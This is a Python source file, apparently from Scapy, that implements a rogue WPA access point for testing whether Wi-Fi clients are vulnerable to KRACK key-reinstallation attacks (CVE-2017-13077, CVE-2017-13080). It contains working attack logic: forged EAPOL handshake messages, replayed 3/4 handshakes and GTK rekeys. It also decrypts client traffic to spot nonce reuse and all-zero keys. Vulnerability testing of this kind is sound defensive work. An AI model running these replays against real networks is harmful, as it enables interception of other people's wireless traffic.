1import hmac
2import hashlib
3from itertools import count
4import struct
5import time
6
7from cryptography.hazmat.primitives import hashes
8from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
9from cryptography.hazmat.backends import default_backend
10
11from scapy.automaton import ATMT, Automaton
12from scapy.base_classes import Net
13from scapy.config import conf
14from scapy.compat import raw, hex_bytes, chb
15from scapy.error import log_runtime
16from scapy.layers.dot11 import RadioTap, Dot11, Dot11AssoReq, Dot11AssoResp, \
17    Dot11Auth, Dot11Beacon, Dot11Elt, Dot11ProbeReq, Dot11ProbeResp
18from scapy.layers.eap import EAPOL
19from scapy.layers.l2 import ARP, LLC, SNAP, Ether
20from scapy.layers.dhcp import DHCP_am
21from scapy.packet import Raw
22from scapy.utils import hexdump
23from scapy.volatile import RandBin
24
25
26from scapy.modules.krack.crypto import parse_data_pkt, parse_TKIP_hdr, \
27    build_TKIP_payload, check_MIC_ICV, MICError, ICVError, build_MIC_ICV, \
28    customPRF512, ARC4_encrypt
29
30
31class DHCPOverWPA(DHCP_am):
32    """Wrapper over DHCP_am to send and recv inside a WPA channel"""
33
34    def __init__(self, send_func, *args, **kwargs):
35        super(DHCPOverWPA, self).__init__(*args, **kwargs)
36        self.send_function = send_func
37
38    def sniff(self, *args, **kwargs):
39        # Do not sniff, use a direct call to 'replay(pkt)' instead
40        return
41
42
43class KrackAP(Automaton):
44    """Tiny WPA AP for detecting client vulnerable to KRACK attacks defined in:
45    "Key Reinstallation Attacks: Forcing Nonce Reuse in WPA2"
46
47    Example of use:
48    KrackAP(
49        iface="mon0",               # A monitor interface
50        ap_mac='11:22:33:44:55:66', # MAC to use
51        ssid="TEST_KRACK",          # SSID
52        passphrase="testtest",      # Associated passphrase
53    ).run()
54
55    Then, on the target device, connect to "TEST_KRACK" using "testtest" as the
56    passphrase.
57    The output logs will indicate if one of the CVE have been triggered.
58    """
59
60    # Number of "GTK rekeying -> ARP replay" attempts. The vulnerability may not
61    # be detected the first time. Several attempt implies the client has been
62    # likely patched
63    ARP_MAX_RETRY = 50
64
65    def __init__(self, *args, **kargs):
66        kargs.setdefault("ll", conf.L2socket)
67        super(KrackAP, self).__init__(*args, **kargs)
68
69    def parse_args(self, ap_mac, ssid, passphrase,
70                   # KRACK attack options
71                   double_3handshake=True,
72                   encrypt_3handshake=True,
73                   wait_3handshake=0,
74                   double_gtk_refresh=True,
75                   arp_target_ip=None,
76                   arp_source_ip=None,
77                   wait_gtk=10,
78                   **kwargs):
79        """
80        Mandatory arguments:
81        @iface: interface to use (must be in monitor mode)
82        @ap_mac: AP's MAC
83        @ssid: AP's SSID
84        @passphrase: AP's Passphrase (min 8 char.)
85
86        Krack attacks options:
87
88         - Msg 3/4 handshake replay:
89        double_3handshake: double the 3/4 handshake message
90        encrypt_3handshake: encrypt the second 3/4 handshake message
91        wait_3handshake: time to wait (in sec.) before sending the second 3/4
92         - double GTK rekeying:
93        double_gtk_refresh: double the 1/2 GTK rekeying message
94        wait_gtk: time to wait (in sec.) before sending the GTK rekeying
95        arp_target_ip: Client IP to use in ARP req. (to detect attack success)
96                       If None, use a DHCP server
97        arp_source_ip: Server IP to use in ARP req. (to detect attack success)
98                       If None, use the DHCP server gateway address
99        """
100        super(KrackAP, self).parse_args(**kwargs)
101
102        # Main AP options
103        self.mac = ap_mac
104        self.ssid = ssid
105        self.passphrase = passphrase
106
107        # Internal structures
108        self.last_iv = None
109        self.client = None
110        self.seq_num = count()
111        self.replay_counter = count()
112        self.time_handshake_end = None
113        self.dhcp_server = DHCPOverWPA(send_func=self.send_ether_over_wpa,
114                                       pool=Net("192.168.42.128/25"),
115                                       network="192.168.42.0/24",
116                                       gw="192.168.42.1")
117        self.arp_sent = []
118        self.arp_to_send = 0
119        self.arp_retry = 0
120
121        # Bit 0: 3way handshake sent
122        # Bit 1: GTK rekeying sent
123        # Bit 2: ARP response obtained
124        self.krack_state = 0
125
126        # Krack options
127        self.double_3handshake = double_3handshake
128        self.encrypt_3handshake = encrypt_3handshake
129        self.wait_3handshake = wait_3handshake
130        self.double_gtk_refresh = double_gtk_refresh
131        self.arp_target_ip = arp_target_ip
132        if arp_source_ip is None:
133            # Use the DHCP server Gateway address
134            arp_source_ip = self.dhcp_server.gw
135        self.arp_source_ip = arp_source_ip
136        self.wait_gtk = wait_gtk
137
138        # May take several seconds
139        self.install_PMK()
140
141    def run(self, *args, **kwargs):
142        log_runtime.warning("AP started with ESSID: %s, BSSID: %s",
143                         self.ssid, self.mac)
144        super(KrackAP, self).run(*args, **kwargs)
145
146    # Key utils
147
148    @staticmethod
149    def gen_nonce(size):
150        """Return a nonce of @size element of random bytes as a string"""
151        return raw(RandBin(size))
152
153    def install_PMK(self):
154        """Compute and install the PMK"""
155        self.pmk = PBKDF2HMAC(
156            algorithm=hashes.SHA1(),
157            length=32,
158            salt=self.ssid,
159            iterations=4096,
160            backend=default_backend(),
161        ).derive(self.passphrase)
162
163    def install_unicast_keys(self, client_nonce):
164        """Use the client nonce @client_nonce to compute and install
165        PTK, KCK, KEK, TK, MIC (AP -> STA), MIC (STA -> AP)
166        """
167        pmk = self.pmk
168        anonce = self.anonce
169        snonce = client_nonce
170        amac = hex_bytes(self.mac.replace(":", ""))
171        smac = hex_bytes(self.client.replace(":", ""))
172
173        # Compute PTK
174        self.ptk = customPRF512(pmk, amac, smac, anonce, snonce)
175
176        # Extract derivated keys
177        self.kck = self.ptk[:16]
178        self.kek = self.ptk[16:32]
179        self.tk = self.ptk[32:48]
180        self.mic_ap_to_sta = self.ptk[48:56]
181        self.mic_sta_to_ap = self.ptk[56:64]
182
183        # Reset IV
184        self.client_iv = count()
185
186    def install_GTK(self):
187        """Compute a new GTK and install it alongs
188        MIC (AP -> Group = broadcast + multicast)
189        """
190
191        # Compute GTK
192        self.gtk_full = self.gen_nonce(32)
193        self.gtk = self.gtk_full[:16]
194
195        # Extract derivated keys
196        self.mic_ap_to_group = self.gtk_full[16:24]
197
198        # Reset IV
199        self.group_iv = count()
200
201    # Packet utils
202
203    def build_ap_info_pkt(self, layer_cls, dest):
204        """Build a packet with info describing the current AP
205        For beacon / proberesp use
206        Assume the AP is on channel 6
207        """
208        return RadioTap() \
209              / Dot11(addr1=dest, addr2=self.mac, addr3=self.mac) \
210              / layer_cls(timestamp=0, beacon_interval=100,
211                          cap='ESS+privacy') \
212              / Dot11Elt(ID="SSID", info=self.ssid) \
213              / Dot11Elt(ID="Rates", info=b'\x82\x84\x8b\x96\x0c\x12\x18$') \
214              / Dot11Elt(ID="DSset", info=b"\x06") \
215              / Dot11Elt(
216                  ID="RSNinfo",
217                  info=b'\x01\x00\x00\x0f\xac\x02\x01\x00\x00\x0f\xac\x02'\
218                  b'\x01\x00\x00\x0f\xac\x02\x00\x00'
219              )
220
221    @staticmethod
222    def build_EAPOL_Key_8021X2004(
223            key_information,
224            replay_counter,
225            nonce,
226            data=None,
227            key_mic=None,
228            key_data_encrypt=None,
229            key_rsc=0,
230            key_id=0,
231            key_descriptor_type=2, # EAPOL RSN Key
232    ):
233        pkt = EAPOL(version="802.1X-2004", type="EAPOL-Key")
234
235        key_iv = KrackAP.gen_nonce(16)
236
237        assert key_rsc == 0 # Other values unsupported
238        assert key_id == 0 # Other values unsupported
239        payload = b"".join([
240            chb(key_descriptor_type),
241            struct.pack(">H", key_information),
242            b'\x00\x20',  # Key length
243            struct.pack(">Q", replay_counter),
244            nonce,
245            key_iv,
246            struct.pack(">Q", key_rsc),
247            struct.pack(">Q", key_id),
248        ])
249
250        # MIC field is set to 0's during MIC computation
251        offset_MIC = len(payload)
252        payload += b'\x00' * 0x10
253
254        if data is None and key_mic is None and key_data_encrypt is None:
255            # If key is unknown and there is no data, no MIC is needed
256            # Exemple: handshake 1/4
257            payload += b'\x00' * 2 # Length
258            return pkt / Raw(load=payload)
259
260        assert data is not None
261        assert key_mic is not None
262        assert key_data_encrypt is not None
263
264        # Skip 256 first bytes
265        # REF: 802.11i 8.5.2
266        # Key Descriptor Version 1:
267        # ...
268        # No padding shall be used. The encryption key is generated by
269        # concatenating the EAPOL-Key IV field and the KEK. The first 256 octets
270        # of the RC4 key stream shall be discarded following RC4 stream cipher
271        # initialization with the KEK, and encryption begins using the 257th key
272        # stream octet.
273        enc_data = ARC4_encrypt(key_iv + key_data_encrypt, data, skip=256)
274
275        payload += struct.pack(">H", len(data))
276        payload += enc_data
277
278        # Compute MIC and set at the right place
279        temp_mic = pkt.copy()
280        temp_mic /= Raw(load=payload)
281        to_mic = raw(temp_mic[EAPOL])
282        mic = hmac.new(key_mic, to_mic, hashlib.md5).digest()
283        final_payload = payload[:offset_MIC] + mic + payload[offset_MIC + len(mic):]
284        assert len(final_payload) == len(payload)
285
286        return pkt / Raw(load=final_payload)
287
288    def build_GTK_KDE(self):
289        """Build the Key Data Encapsulation for GTK
290        KeyID: 0
291        Ref: 802.11i p81
292        """
293        return b''.join([
294            b'\xdd', # Type KDE
295            chb(len(self.gtk_full) + 6),
296            b'\x00\x0f\xac', # OUI
297            b'\x01', # GTK KDE
298            b'\x00\x00', # KeyID - Tx - Reserved x2
299            self.gtk_full,
300        ])
301
302    def send_wpa_enc(self, data, iv, seqnum, dest, mic_key,
303                     key_idx=0, additionnal_flag=["from-DS"],
304                     encrypt_key=None):
305        """Send an encrypted packet with content @data, using IV @iv,
306        sequence number @seqnum, MIC key @mic_key
307        """
308
309        if encrypt_key is None:
310            encrypt_key = self.tk
311
312        rep = RadioTap()
313        rep /= Dot11(
314            addr1=dest,
315            addr2=self.mac,
316            addr3=self.mac,
317            FCfield="+".join(['wep'] + additionnal_flag),
318            SC=(next(self.seq_num) << 4),
319            subtype=0,
320            type="Data",
321        )
322
323        # Assume packet is send by our AP -> use self.mac as source
324
325        # Encapsule in TKIP with MIC Michael and ICV
326        data_to_enc = build_MIC_ICV(raw(data), mic_key, self.mac, dest)
327
328        # Header TKIP + payload
329        rep /= Raw(build_TKIP_payload(data_to_enc, iv, self.mac, encrypt_key))
330
331        self.send(rep)
332        return rep
333
334    def send_wpa_to_client(self, data, **kwargs):
335        kwargs.setdefault("encrypt_key", self.tk)
336        return self.send_wpa_enc(data, next(self.client_iv),
337                                 next(self.seq_num), self.client,
338                                 self.mic_ap_to_sta, **kwargs)
339
340    def send_wpa_to_group(self, data, dest="ff:ff:ff:ff:ff:ff", **kwargs):
341        kwargs.setdefault("encrypt_key", self.gtk)
342        return self.send_wpa_enc(data, next(self.group_iv),
343                                 next(self.seq_num), dest,
344                                 self.mic_ap_to_group, **kwargs)
345
346    def send_ether_over_wpa(self, pkt, **kwargs):
347        """Send an Ethernet packet using the WPA channel
348        Extra arguments will be ignored, and are just left for compatibiliy
349        """
350
351        payload = LLC()/SNAP()/pkt[Ether].payload
352        dest = pkt.dst
353        if dest == "ff:ff:ff:ff:ff:ff":
354            self.send_wpa_to_group(payload, dest)
355        else:
356            assert dest == self.client
357            self.send_wpa_to_client(payload)
358
359    def deal_common_pkt(self, pkt):
360        # Send to DHCP server
361        # LLC / SNAP to Ether
362        if SNAP in pkt:
363            ether_pkt = Ether(src=self.client,dst=self.mac) / pkt[SNAP].payload
364            self.dhcp_server.reply(ether_pkt)
365
366        # If an ARP request is made, extract client IP and answer
367        if ARP in pkt and \
368           pkt[ARP].op == 1 and pkt[ARP].pdst == self.dhcp_server.gw:
369            if self.arp_target_ip is None:
370                self.arp_target_ip = pkt[ARP].psrc
371                log_runtime.info("Detected IP: %s", self.arp_target_ip)
372
373            # Reply
374            ARP_ans = LLC()/SNAP()/ARP(
375                op="is-at",
376                psrc=self.arp_source_ip,
377                pdst=self.arp_target_ip,
378                hwsrc=self.mac,
379                hwdst=self.client,
380            )
381            self.send_wpa_to_client(ARP_ans)
382
383    # States
384
385    @ATMT.state(initial=True)
386    def WAIT_AUTH_REQUEST(self):
387        log_runtime.debug("State WAIT_AUTH_REQUEST")
388
389    @ATMT.state()
390    def AUTH_RESPONSE_SENT(self):
391        log_runtime.debug("State AUTH_RESPONSE_SENT")
392
393    @ATMT.state()
394    def ASSOC_RESPONSE_SENT(self):
395        log_runtime.debug("State ASSOC_RESPONSE_SENT")
396
397    @ATMT.state()
398    def WPA_HANDSHAKE_STEP_1_SENT(self):
399        log_runtime.debug("State WPA_HANDSHAKE_STEP_1_SENT")
400
401    @ATMT.state()
402    def WPA_HANDSHAKE_STEP_3_SENT(self):
403        log_runtime.debug("State WPA_HANDSHAKE_STEP_3_SENT")
404
405    @ATMT.state()
406    def KRACK_DISPATCHER(self):
407        log_runtime.debug("State KRACK_DISPATCHER")
408
409    @ATMT.state()
410    def ANALYZE_DATA(self):
411        log_runtime.debug("State ANALYZE_DATA")
412
413    @ATMT.timeout(ANALYZE_DATA, 1)
414    def timeout_analyze_data(self):
415        raise self.KRACK_DISPATCHER()
416
417    @ATMT.state()
418    def RENEW_GTK(self):
419        log_runtime.debug("State RENEW_GTK")
420
421    @ATMT.state()
422    def WAIT_GTK_ACCEPT(self):
423        log_runtime.debug("State WAIT_GTK_ACCEPT")
424
425    @ATMT.state()
426    def WAIT_ARP_REPLIES(self):
427        log_runtime.debug("State WAIT_ARP_REPLIES")
428
429    @ATMT.state(final=1)
430    def EXIT(self):
431        log_runtime.debug("State EXIT")
432
433    @ATMT.timeout(WAIT_GTK_ACCEPT, 1)
434    def timeout_wait_gtk_accept(self):
435        raise self.RENEW_GTK()
436
437    @ATMT.timeout(WAIT_AUTH_REQUEST, 0.1)
438    def timeout_waiting(self):
439        raise self.WAIT_AUTH_REQUEST()
440
441    @ATMT.action(timeout_waiting)
442    def send_beacon(self):
443        log_runtime.debug("Send a beacon")
444        rep = self.build_ap_info_pkt(Dot11Beacon, dest="ff:ff:ff:ff:ff:ff")
445        self.send(rep)
446
447    @ATMT.receive_condition(WAIT_AUTH_REQUEST)
448    def probe_request_received(self, pkt):
449        # Avoid packet from other interfaces
450        if not RadioTap in pkt:
451            return
452        if Dot11ProbeReq in pkt and pkt[Dot11Elt::{'ID': 0}].info == self.ssid:
453            raise self.WAIT_AUTH_REQUEST().action_parameters(pkt)
454
455    @ATMT.action(probe_request_received)
456    def send_probe_response(self, pkt):
457        rep = self.build_ap_info_pkt(Dot11ProbeResp, dest=pkt.addr2)
458        self.send(rep)
459
460    @ATMT.receive_condition(WAIT_AUTH_REQUEST)
461    def authent_received(self, pkt):
462        # Avoid packet from other interfaces
463        if not RadioTap in pkt:
464            return
465        if Dot11Auth in pkt and pkt.addr1 == pkt.addr3 == self.mac:
466            raise self.AUTH_RESPONSE_SENT().action_parameters(pkt)
467
468    @ATMT.action(authent_received)
469    def send_auth_response(self, pkt):
470
471        # Save client MAC for later
472        self.client = pkt.addr2
473        log_runtime.warning("Client %s connected!", self.client)
474
475        # Launch DHCP Server
476        self.dhcp_server.run()
477
478        rep = RadioTap()
479        rep /= Dot11(addr1=self.client, addr2=self.mac, addr3=self.mac)
480        rep /= Dot11Auth(seqnum=2, algo=pkt[Dot11Auth].algo,
481                         status=pkt[Dot11Auth].status)
482
483        self.send(rep)
484
485    @ATMT.receive_condition(AUTH_RESPONSE_SENT)
486    def assoc_received(self, pkt):
487        if Dot11AssoReq in pkt and pkt.addr1 == pkt.addr3 == self.mac and \
488           pkt[Dot11Elt::{'ID': 0}].info == self.ssid:
489            raise self.ASSOC_RESPONSE_SENT().action_parameters(pkt)
490
491    @ATMT.action(assoc_received)
492    def send_assoc_response(self, pkt):
493
494        # Get RSN info
495        temp_pkt = pkt[Dot11Elt::{"ID":48}].copy()
496        temp_pkt.remove_payload()
497        self.RSN = raw(temp_pkt)
498        # Avoid 802.11w, etc. (deactivate RSN capabilities)
499        self.RSN = self.RSN[:-2] + "\x00\x00"
500
501        rep = RadioTap()
502        rep /= Dot11(addr1=self.client, addr2=self.mac, addr3=self.mac)
503        rep /= Dot11AssoResp()
504        rep /= Dot11Elt(ID="Rates", info='\x82\x84\x8b\x96\x0c\x12\x18$')
505
506        self.send(rep)
507
508    @ATMT.condition(ASSOC_RESPONSE_SENT)
509    def assoc_sent(self):
510        raise self.WPA_HANDSHAKE_STEP_1_SENT()
511
512    @ATMT.action(assoc_sent)
513    def send_wpa_handshake_1(self):
514
515        self.anonce = self.gen_nonce(32)
516
517        rep = RadioTap()
518        rep /= Dot11(
519            addr1=self.client,
520            addr2=self.mac,
521            addr3=self.mac,
522            FCfield='from-DS',
523            SC=(next(self.seq_num) << 4),
524        )
525        rep /= LLC(dsap=0xaa, ssap=0xaa, ctrl=3)
526        rep /= SNAP(OUI=0, code=0x888e) # 802.1X Authentication
527        rep /= self.build_EAPOL_Key_8021X2004(
528            key_information=0x89,
529            replay_counter=next(self.replay_counter),
530            nonce=self.anonce,
531        )
532
533        self.send(rep)
534
535    @ATMT.receive_condition(WPA_HANDSHAKE_STEP_1_SENT)
536    def wpa_handshake_1_sent(self, pkt):
537        # Avoid packet from other interfaces
538        if not RadioTap in pkt:
539            return
540        if EAPOL in pkt and pkt.addr1 == pkt.addr3 == self.mac and \
541           pkt[EAPOL].load[1] == "\x01":
542            # Key MIC: set, Secure / Error / Request / Encrypted / SMK
543            # message: not set
544            raise self.WPA_HANDSHAKE_STEP_3_SENT().action_parameters(pkt)
545
546    @ATMT.action(wpa_handshake_1_sent)
547    def send_wpa_handshake_3(self, pkt):
548
549        # Both nonce have been exchanged, install keys
550        client_nonce = pkt[EAPOL].load[13:13 + 0x20]
551        self.install_unicast_keys(client_nonce)
552
553        # Check client MIC
554
555        # Data: full message with MIC place replaced by 0s
556        # https://stackoverflow.com/questions/15133797/creating-wpa-message-integrity-code-mic-with-python
557        client_mic = pkt[EAPOL].load[77:77 + 16]
558        client_data = raw(pkt[EAPOL]).replace(client_mic, "\x00" * len(client_mic))
559        assert hmac.new(self.kck, client_data, hashlib.md5).digest() == client_mic
560
561        rep = RadioTap()
562        rep /= Dot11(
563            addr1=self.client,
564            addr2=self.mac,
565            addr3=self.mac,
566            FCfield='from-DS',
567            SC=(next(self.seq_num) << 4),
568        )
569
570        rep /= LLC(dsap=0xaa, ssap=0xaa, ctrl=3)
571        rep /= SNAP(OUI=0, code=0x888e) # 802.1X Authentication
572
573        self.install_GTK()
574        data = self.RSN
575        data += self.build_GTK_KDE()
576
577        eap = self.build_EAPOL_Key_8021X2004(
578            key_information=0x13c9,
579            replay_counter=next(self.replay_counter),
580            nonce=self.anonce,
581            data=data,
582            key_mic=self.kck,
583            key_data_encrypt=self.kek,
584        )
585
586        self.send(rep / eap)
587
588    @ATMT.receive_condition(WPA_HANDSHAKE_STEP_3_SENT)
589    def wpa_handshake_3_sent(self, pkt):
590        # Avoid packet from other interfaces
591        if not RadioTap in pkt:
592            return
593        if EAPOL in pkt and pkt.addr1 == pkt.addr3 == self.mac and \
594           pkt[EAPOL].load[1:3] == "\x03\x09":
595            self.time_handshake_end = time.time()
596            raise self.KRACK_DISPATCHER()
597
598    @ATMT.condition(KRACK_DISPATCHER)
599    def krack_dispatch(self):
600        now = time.time()
601        # Handshake 3/4 replay
602        if self.double_3handshake and (self.krack_state & 1 == 0) and \
603           (now - self.time_handshake_end) > self.wait_3handshake:
604            log_runtime.info("Trying to trigger CVE-2017-13077")
605            raise self.ANALYZE_DATA().action_parameters(send_3handshake=True)
606
607        # GTK rekeying
608        if (self.krack_state & 2 == 0) and \
609           (now - self.time_handshake_end) > self.wait_gtk:
610            raise self.ANALYZE_DATA().action_parameters(send_gtk=True)
611
612        # Fallback in data analysis
613        raise self.ANALYZE_DATA().action_parameters()
614
615    @ATMT.action(krack_dispatch)
616    def krack_proceed(self, send_3handshake=False, send_gtk=False):
617        if send_3handshake:
618            rep = RadioTap()
619            rep /= Dot11(
620                addr1=self.client,
621                addr2=self.mac,
622                addr3=self.mac,
623                FCfield='from-DS',
624                SC=(next(self.seq_num) << 4),
625                subtype=0,
626                type="Data",
627            )
628
629            rep /= LLC(dsap=0xaa, ssap=0xaa, ctrl=3)
630            rep /= SNAP(OUI=0, code=0x888e) # 802.1X Authentication
631
632            data = self.RSN
633            data += self.build_GTK_KDE()
634
635            eap_2 = self.build_EAPOL_Key_8021X2004(
636                # Key information 0x13c9:
637                #   ARC4 HMAC-MD5, Pairwise Key, Install, KEY ACK, KEY MIC, Secure,
638                #   Encrypted, SMK
639                key_information=0x13c9,
640                replay_counter=next(self.replay_counter),
641                nonce=self.anonce,
642                data=data,
643                key_mic=self.kck,
644                key_data_encrypt=self.kek,
645            )
646
647            rep /= eap_2
648
649            if self.encrypt_3handshake:
650                self.send_wpa_to_client(rep[LLC])
651            else:
652                self.send(rep)
653
654            self.krack_state |= 1
655
656        if send_gtk:
657            self.krack_state |= 2
658            # Renew the GTK
659            self.install_GTK()
660            raise self.RENEW_GTK()
661
662    @ATMT.receive_condition(ANALYZE_DATA)
663    def get_data(self, pkt):
664        # Avoid packet from other interfaces
665        if not RadioTap in pkt:
666            return
667
668        # Skip retries
669        if pkt[Dot11].FCfield.retry:
670            return
671
672        # Skip unencrypted frames (TKIP rely on WEP packet)
673        if not pkt[Dot11].FCfield.wep:
674            return
675
676        # Dot11.type 2: Data
677        if pkt.type == 2 and Raw in pkt and pkt.addr1 == self.mac:
678            # Do not check pkt.addr3, frame can be broadcast
679            raise self.KRACK_DISPATCHER().action_parameters(pkt)
680
681    @ATMT.action(get_data)
682    def extract_iv(self, pkt):
683        # Get IV
684        TSC, _, _ = parse_TKIP_hdr(pkt)
685        iv = TSC[0] | (TSC[1] << 8) | (TSC[2] << 16) | (TSC[3] << 24) | \
686             (TSC[4] << 32) | (TSC[5] << 40)
687        log_runtime.info("Got a packet with IV: %s", hex(iv))
688
689        if self.last_iv is None:
690            self.last_iv = iv
691        else:
692            if iv <= self.last_iv:
693                log_runtime.warning("IV re-use!! Client seems to be "
694                                    "vulnerable to handshake 3/4 replay "
695                                    "(CVE-2017-13077)"
696                )
697
698        data_clear = None
699
700        # Normal decoding
701        data = parse_data_pkt(pkt, self.tk)
702        try:
703            data_clear = check_MIC_ICV(data, self.mic_sta_to_ap, pkt.addr2,
704                                       pkt.addr3)
705        except (ICVError, MICError):
706            pass
707
708        # Decoding with a 0's TK
709        if data_clear is None:
710            data = parse_data_pkt(pkt, "\x00" * len(self.tk))
711            try:
712                mic_key = "\x00" * len(self.mic_sta_to_ap)
713                data_clear = check_MIC_ICV(data, mic_key, pkt.addr2, pkt.addr3)
714                log_runtime.warning("Client has installed an all zero "
715                                    "encryption key (TK)!!")
716            except (ICVError, MICError):
717                pass
718
719        if data_clear is None:
720            log_runtime.warning("Unable to decode the packet, something went "
721                                "wrong")
722            log_runtime.debug(hexdump(pkt, dump=True))
723            self.deal_common_pkt(pkt)
724            return
725
726        log_runtime.debug(hexdump(data_clear, dump=True))
727        pkt = LLC(data_clear)
728        log_runtime.debug(repr(pkt))
729        self.deal_common_pkt(pkt)
730
731
732    @ATMT.condition(RENEW_GTK)
733    def gtk_pkt_1(self):
734        raise self.WAIT_GTK_ACCEPT()
735
736    @ATMT.action(gtk_pkt_1)
737    def send_renew_gtk(self):
738
739        rep_to_enc = LLC(dsap=0xaa, ssap=0xaa, ctrl=3)
740        rep_to_enc /= SNAP(OUI=0, code=0x888e) # 802.1X Authentication
741
742        data = self.build_GTK_KDE()
743
744        eap = self.build_EAPOL_Key_8021X2004(
745            # Key information 0x1381:
746            #   ARC4 HMAC-MD5, Group Key, KEY ACK, KEY MIC, Secure, Encrypted,
747            #   SMK
748            key_information=0x1381,
749            replay_counter=next(self.replay_counter),
750            nonce=self.anonce,
751            data=data,
752            key_mic=self.kck,
753            key_data_encrypt=self.kek,
754        )
755
756        rep_to_enc /= eap
757        self.send_wpa_to_client(rep_to_enc)
758
759    @ATMT.receive_condition(WAIT_GTK_ACCEPT)
760    def get_gtk_2(self, pkt):
761        # Avoid packet from other interfaces
762        if not RadioTap in pkt:
763            return
764
765        # Skip retries
766        if pkt[Dot11].FCfield.retry:
767            return
768
769        # Skip unencrypted frames (TKIP rely on WEP packet)
770        if not pkt[Dot11].FCfield.wep:
771            return
772
773        # Normal decoding
774        try:
775            data = parse_data_pkt(pkt, self.tk)
776        except ValueError:
777            return
778        try:
779            data_clear = check_MIC_ICV(data, self.mic_sta_to_ap, pkt.addr2,
780                                       pkt.addr3)
781        except (ICVError, MICError):
782            return
783
784        pkt_clear = LLC(data_clear)
785        if EAPOL in pkt_clear and pkt.addr1 == pkt.addr3 == self.mac and \
786           pkt_clear[EAPOL].load[1:3] == "\x03\x01":
787            raise self.WAIT_ARP_REPLIES()
788
789    @ATMT.action(get_gtk_2)
790    def send_arp_req(self):
791
792        if self.krack_state & 4 == 0:
793            # Set the address for future uses
794            self.arp_target_ip = self.dhcp_server.leases.get(self.client,
795                                                             self.arp_target_ip)
796            assert self.arp_target_ip is not None
797
798            # Send the first ARP requests, for control test
799            log_runtime.info("Send ARP who-was from '%s' to '%s'",
800                             self.arp_source_ip,
801                             self.arp_target_ip)
802            arp_pkt = self.send_wpa_to_group(
803                LLC()/SNAP()/ARP(op="who-has",
804                                 psrc=self.arp_source_ip,
805                                 pdst=self.arp_target_ip,
806                                 hwsrc=self.mac),
807                dest='ff:ff:ff:ff:ff:ff',
808            )
809            self.arp_sent.append(arp_pkt)
810        else:
811            if self.arp_to_send < len(self.arp_sent):
812                # Re-send the ARP requests already sent
813                self.send(self.arp_sent[self.arp_to_send])
814                self.arp_to_send += 1
815            else:
816                # Re-send GTK
817                self.arp_to_send = 0
818                self.arp_retry += 1
819                log_runtime.info("Trying to trigger CVE-2017-13080 %d/%d",
820                              self.arp_retry, self.ARP_MAX_RETRY)
821                if self.arp_retry > self.ARP_MAX_RETRY:
822                    # We retries 100 times to send GTK, then already sent ARPs
823                    log_runtime.warning("Client is likely not vulnerable to "
824                                        "CVE-2017-13080")
825                    raise self.EXIT()
826
827                raise self.RENEW_GTK()
828
829    @ATMT.timeout(WAIT_ARP_REPLIES, 0.5)
830    def resend_arp_req(self):
831        self.send_arp_req()
832        raise self.WAIT_ARP_REPLIES()
833
834    @ATMT.receive_condition(WAIT_ARP_REPLIES)
835    def get_arp(self, pkt):
836        # Avoid packet from other interfaces
837        if not RadioTap in pkt:
838            return
839
840        # Skip retries
841        if pkt[Dot11].FCfield.retry:
842            return
843
844        # Skip unencrypted frames (TKIP rely on WEP packet)
845        if not pkt[Dot11].FCfield.wep:
846            return
847
848        # Dot11.type 2: Data
849        if pkt.type == 2 and Raw in pkt and pkt.addr1 == self.mac:
850            # Do not check pkt.addr3, frame can be broadcast
851            raise self.WAIT_ARP_REPLIES().action_parameters(pkt)
852
853    @ATMT.action(get_arp)
854    def check_arp_reply(self, pkt):
855        data = parse_data_pkt(pkt, self.tk)
856        try:
857            data_clear = check_MIC_ICV(data, self.mic_sta_to_ap, pkt.addr2,
858                                       pkt.addr3)
859        except (ICVError, MICError):
860            return
861
862        decoded_pkt = LLC(data_clear)
863        log_runtime.debug(hexdump(decoded_pkt, dump=True))
864        log_runtime.debug(repr(decoded_pkt))
865        self.deal_common_pkt(decoded_pkt)
866        if ARP not in decoded_pkt:
867            return
868
869        # ARP.op 2: is-at
870        if decoded_pkt[ARP].op == 2 and \
871           decoded_pkt[ARP].psrc == self.arp_target_ip and \
872           decoded_pkt[ARP].pdst == self.arp_source_ip:
873            # Got the expected ARP
874            if self.krack_state & 4 == 0:
875                # First time, normal behavior
876                log_runtime.info("Got ARP reply, this is normal")
877                self.krack_state |= 4
878                log_runtime.info("Trying to trigger CVE-2017-13080")
879                raise self.RENEW_GTK()
880            else:
881                # Second time, the packet has been accepted twice!
882                log_runtime.warning("Broadcast packet accepted twice!! "
883                                    "(CVE-2017-13080)")
884